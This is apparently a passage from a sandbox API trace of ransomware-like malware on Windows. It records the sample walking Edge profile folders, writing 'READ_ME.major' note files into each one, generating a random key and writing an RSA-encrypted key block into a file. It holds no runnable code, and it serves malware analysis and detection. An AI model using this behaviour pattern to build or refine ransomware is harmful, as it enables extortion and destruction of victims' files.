ftCreationTime.dwLowDateTime=0x3cb323d1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb323d1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb323d1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.159] SetLastError (dwErrCode=0x12) [0244.159] GetLastError () returned 0x12 [0244.159] SetLastError (dwErrCode=0x12) [0244.159] SetLastError (dwErrCode=0x12) [0244.159] FindNextFileW (in: hFindFile=0x2f31360, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb323d1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb323d1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb323d1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.159] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x987efe85, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x987efe85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cb323d1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f310e0 [0244.159] SetLastError (dwErrCode=0x12) [0244.159] GetLastError () returned 0x12 [0244.159] SetLastError (dwErrCode=0x12) [0244.159] SetLastError (dwErrCode=0x12) [0244.159] FindNextFileW (in: hFindFile=0x2f310e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x987efe85, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x987efe85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cb323d1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.159] SetLastError (dwErrCode=0x12) [0244.159] GetLastError () returned 0x12 [0244.160] SetLastError (dwErrCode=0x12) [0244.160] SetLastError (dwErrCode=0x12) [0244.160] FindNextFileW (in: hFindFile=0x2f310e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb323d1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb323d1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb586b4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.160] SetLastError (dwErrCode=0x12) [0244.160] GetLastError () returned 0x12 [0244.160] SetLastError (dwErrCode=0x12) [0244.160] SetLastError (dwErrCode=0x12) [0244.160] FindNextFileW (in: hFindFile=0x2f310e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb323d1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb323d1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb586b4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.160] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x987efe85, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x987efe85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cb586b4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31720 [0244.160] SetLastError (dwErrCode=0x12) [0244.160] GetLastError () returned 0x12 [0244.160] SetLastError (dwErrCode=0x12) [0244.160] GetLastError () returned 0x12 [0244.160] SetLastError (dwErrCode=0x12) [0244.160] FindNextFileW (in: hFindFile=0x2f31720, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x987efe85, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x987efe85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cb586b4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.160] SetLastError (dwErrCode=0x12) [0244.160] GetLastError () returned 0x12 [0244.161] SetLastError (dwErrCode=0x12) [0244.161] SetLastError (dwErrCode=0x12) [0244.161] FindNextFileW (in: hFindFile=0x2f31720, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb586b4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb586b4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb586b4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.161] SetLastError (dwErrCode=0x12) [0244.161] GetLastError () returned 0x12 [0244.161] SetLastError (dwErrCode=0x12) [0244.161] SetLastError (dwErrCode=0x12) [0244.161] FindNextFileW (in: hFindFile=0x2f31720, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb586b4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb586b4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb586b4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.161] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\MicrosoftEdge\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9af0a0eb, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb220f800, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cb586b4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f314e0 [0244.161] SetLastError (dwErrCode=0x12) [0244.161] GetLastError () returned 0x12 [0244.161] SetLastError (dwErrCode=0x12) [0244.161] GetLastError () returned 0x12 [0244.161] SetLastError (dwErrCode=0x12) [0244.161] FindNextFileW (in: hFindFile=0x2f314e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9af0a0eb, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb220f800, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cb586b4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.161] SetLastError (dwErrCode=0x12) [0244.161] GetLastError () returned 0x12 [0244.161] SetLastError (dwErrCode=0x12) [0244.162] GetLastError () returned 0x12 [0244.162] SetLastError (dwErrCode=0x12) [0244.162] FindNextFileW (in: hFindFile=0x2f314e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9af0a0eb, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9af0a0eb, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9af0a0eb, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Cache", cAlternateFileName="")) returned 1 [0244.162] SetLastError (dwErrCode=0x12) [0244.162] GetLastError () returned 0x12 [0244.162] SetLastError (dwErrCode=0x12) [0244.162] GetLastError () returned 0x12 [0244.162] SetLastError (dwErrCode=0x12) [0244.162] SetLastError (dwErrCode=0x12) [0244.162] GetLastError () returned 0x12 [0244.162] SetLastError (dwErrCode=0x12) [0244.162] GetLastError () returned 0x12 [0244.162] SetLastError (dwErrCode=0x12) [0244.162] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\MicrosoftEdge\\Cache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!121\\microsoftedge\\cache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ab4 [0244.163] WriteFile (in: hFile=0x1ab4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.163] CloseHandle (hObject=0x1ab4) returned 1 [0244.164] FindNextFileW (in: hFindFile=0x2f314e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb220f800, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb220f800, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb220f800, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Cookies", cAlternateFileName="")) returned 1 [0244.164] SetLastError (dwErrCode=0x0) [0244.164] GetLastError () returned 0x0 [0244.164] SetLastError (dwErrCode=0x0) [0244.164] GetLastError () returned 0x0 [0244.164] SetLastError (dwErrCode=0x0) [0244.164] SetLastError (dwErrCode=0x0) [0244.164] GetLastError () returned 0x0 [0244.164] SetLastError (dwErrCode=0x0) [0244.164] GetLastError () returned 0x0 [0244.164] SetLastError (dwErrCode=0x0) [0244.164] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\MicrosoftEdge\\Cookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!121\\microsoftedge\\cookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ab4 [0244.166] WriteFile (in: hFile=0x1ab4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.167] CloseHandle (hObject=0x1ab4) returned 1 [0244.167] FindNextFileW (in: hFindFile=0x2f314e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb220f800, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb220f800, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb322b8d4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="History", cAlternateFileName="")) returned 1 [0244.167] SetLastError (dwErrCode=0x0) [0244.167] GetLastError () returned 0x0 [0244.167] SetLastError (dwErrCode=0x0) [0244.167] GetLastError () returned 0x0 [0244.167] SetLastError (dwErrCode=0x0) [0244.167] SetLastError (dwErrCode=0x0) [0244.167] GetLastError () returned 0x0 [0244.167] SetLastError (dwErrCode=0x0) [0244.167] GetLastError () returned 0x0 [0244.167] SetLastError (dwErrCode=0x0) [0244.167] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\MicrosoftEdge\\History\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!121\\microsoftedge\\history\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ab4 [0244.168] WriteFile (in: hFile=0x1ab4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.169] CloseHandle (hObject=0x1ab4) returned 1 [0244.169] FindNextFileW (in: hFindFile=0x2f314e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb586b4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb586b4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb586b4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.169] SetLastError (dwErrCode=0x0) [0244.169] GetLastError () returned 0x0 [0244.169] SetLastError (dwErrCode=0x0) [0244.169] GetLastError () returned 0x0 [0244.169] SetLastError (dwErrCode=0x0) [0244.169] FindNextFileW (in: hFindFile=0x2f314e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb586b4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb586b4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb586b4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.169] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x987efe85, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x987efe85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cb586b4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f313e0 [0244.170] SetLastError (dwErrCode=0x12) [0244.170] GetLastError () returned 0x12 [0244.170] SetLastError (dwErrCode=0x12) [0244.170] GetLastError () returned 0x12 [0244.170] SetLastError (dwErrCode=0x12) [0244.170] FindNextFileW (in: hFindFile=0x2f313e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x987efe85, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x987efe85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cb586b4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.170] SetLastError (dwErrCode=0x12) [0244.170] GetLastError () returned 0x12 [0244.170] SetLastError (dwErrCode=0x12) [0244.170] GetLastError () returned 0x12 [0244.170] SetLastError (dwErrCode=0x12) [0244.170] FindNextFileW (in: hFindFile=0x2f313e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb586b4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb586b4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb586b4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.170] SetLastError (dwErrCode=0x12) [0244.170] GetLastError () returned 0x12 [0244.170] SetLastError (dwErrCode=0x12) [0244.170] SetLastError (dwErrCode=0x12) [0244.170] FindNextFileW (in: hFindFile=0x2f313e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb586b4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb586b4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb586b4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.171] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\BingPageDataCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf988ece2, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98f07b0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x3cb7eac5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f315a0 [0244.171] SetLastError (dwErrCode=0x12) [0244.171] GetLastError () returned 0x12 [0244.171] SetLastError (dwErrCode=0x12) [0244.171] GetLastError () returned 0x12 [0244.171] SetLastError (dwErrCode=0x12) [0244.171] FindNextFileW (in: hFindFile=0x2f315a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf988ece2, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98f07b0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x3cb7eac5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.171] SetLastError (dwErrCode=0x12) [0244.171] GetLastError () returned 0x12 [0244.171] SetLastError (dwErrCode=0x12) [0244.171] GetLastError () returned 0x12 [0244.171] SetLastError (dwErrCode=0x12) [0244.171] FindNextFileW (in: hFindFile=0x2f315a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf98b4a7b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98f07b0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98f07b0, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0244.171] SetLastError (dwErrCode=0x12) [0244.171] GetLastError () returned 0x12 [0244.172] SetLastError (dwErrCode=0x12) [0244.172] GetLastError () returned 0x12 [0244.172] SetLastError (dwErrCode=0x12) [0244.172] FindNextFileW (in: hFindFile=0x2f315a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb7eac5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb7eac5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb7eac5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.172] SetLastError (dwErrCode=0x12) [0244.172] GetLastError () returned 0x12 [0244.172] SetLastError (dwErrCode=0x12) [0244.172] GetLastError () returned 0x12 [0244.172] SetLastError (dwErrCode=0x12) [0244.172] FindNextFileW (in: hFindFile=0x2f315a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb7eac5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb7eac5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb7eac5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.172] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0244.172] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\BingPageDataCache\\container.dat", dwFileAttributes=0x80) returned 1 [0244.173] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\BingPageDataCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\bingpagedatacache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1abc [0244.173] GetFileSizeEx (in: hFile=0x1abc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0244.173] ReadFile (in: hFile=0x1abc, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0244.173] SetFilePointer (in: hFile=0x1abc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0244.173] WriteFile (in: hFile=0x1abc, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0244.173] SetFilePointer (in: hFile=0x1abc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0244.174] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0244.174] WriteFile (in: hFile=0x1abc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0244.174] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0244.174] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0244.175] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0244.175] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="sMbVtmdcTexuvGSmGXUVVHsH9ro0VhKUfyVd42gAwjrAJw6Gb2VbR3bG7kad4Ty9\nfGwEOuV0JvMdBMTZ5vzGkm6ZjySGn1Xs388qPWaT59bqL1CBeF9EclJjld8uLn9z\nfGumKcIQUFI6LqDsOecZhSMoSVI09beC4PakSJ8ahpOBE+V10fUOgl4eNIciJqk4\nGaybOtdYSf/trxsJmStMSObffeEL5/4/xd+6UYZzPRpFqBM4J2ZbBnT79b3319sL\nZ4FQnTtZvbZHwG4yjIUeDkq9tGVka6esLuRY/VxIiL/xn7M/1cjqmIEzMurN1mGI\nz/PbyInd3HgAQcVnzyZPTQ==\n", pcchString=0x2e3f9a8) returned 1 [0244.175] WriteFile (in: hFile=0x1abc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0244.175] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0244.175] WriteFile (in: hFile=0x1abc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) 